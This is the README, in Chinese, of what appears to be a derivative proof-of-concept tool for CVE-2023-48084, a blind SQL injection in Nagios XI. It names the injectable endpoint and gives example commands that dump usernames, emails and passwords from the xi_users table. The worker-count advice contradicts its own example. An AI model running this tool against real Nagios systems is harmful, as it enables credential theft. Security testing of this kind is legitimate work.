仓库: MettHK/CVE-2023-48084-Revised
这是 Hamibubu/CVE-2023-48084 的更新版本, 增加了多线程、二分查找提取,以及用于选择数据库 / 表 / 列的 CLI 参数。
并非原始仓库。 这是一个衍生/改进版 PoC。原始工作的功劳归于 Hamibubu。
仅限授权的安全测试和教育用途。不要将其用于你不拥有或未经明确授权测试的系统。作者和贡献者不对滥用行为负责。
CVE-2023-48084:Nagios XI 5.11.3 之前的版本在批量修改工具中存在 SQL 注入漏洞。
此 PoC 利用了以下位置上的基于时间的盲 SQL 注入:
/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)
你需要一个有效的非管理员会话 Cookie(nagiosxi)或一个 API 令牌。
| 区域 | 改动内容 |
|---|
| 提取 | 对字符串长度和 ASCII 字符进行二分查找(大幅减少请求数) |
| 性能 | 多线程字符提取(-w / --workers) |
| CLI | -d / --database — 跳过 schema 发现 |
| CLI | -t / --table — 跳过表发现(需要 -d) |
| CLI | -C / --columns — 逗号分隔的列,跳过列发现(需要 -t) |
| 时序 | 可配置的 --delay、--threshold、--max-length |
| 稳健性 | 每线程独立 HTTP 会话;可选 pwntools(进度条)并提供纯文本回退 |
| 文档 | 注明原版来源/链接;示例中不含实验主机名或 CTF 遗留内容 |
requests(必需)pwntools(可选;更美观的进度输出)git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt
# 交互式(发现 schema → 表 → 列)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'
# 快速路径:已知数据库 + 表 + 列
python3 CVE-2023-48084.py \
-u https://target.example/nagiosxi \
-c '<cookie>' \
-d nagiosxi \
-t xi_users \
-C username,email,password \
-w 15 \
--delay 1.2
我不建议使用超过 2 个 worker,因为它可能会返回不正确的结果
| 参数 | 说明 |
|---|---|
-u / --url | 基础 URL(例如 https://target.example/nagiosxi) |
-c / --cookie | nagiosxi 会话 Cookie 的值 |
-a / --apiKey | API 令牌(不要与 -c 同时使用) |
-d / --database | Schema/数据库名称(跳过 schema 枚举) |
-t / --table | 表名称(跳过表枚举;需要 -d) |
-C / --columns | 逗号分隔的列(跳过列枚举;需要 -t) |
-w / --workers | 并行线程数(默认:10) |
--delay | 真分支上的 SLEEP 秒数(默认:1.5) |
--threshold | 视为命中所需的最短响应时间(默认:delay * 0.8) |
--max-length | 长度二分查找的上界(默认:2048) |
--delay(例如 2)或降低 -w(例如 5)。-w 15–20)。-d / -t / -C,以避免耗时的发现过程。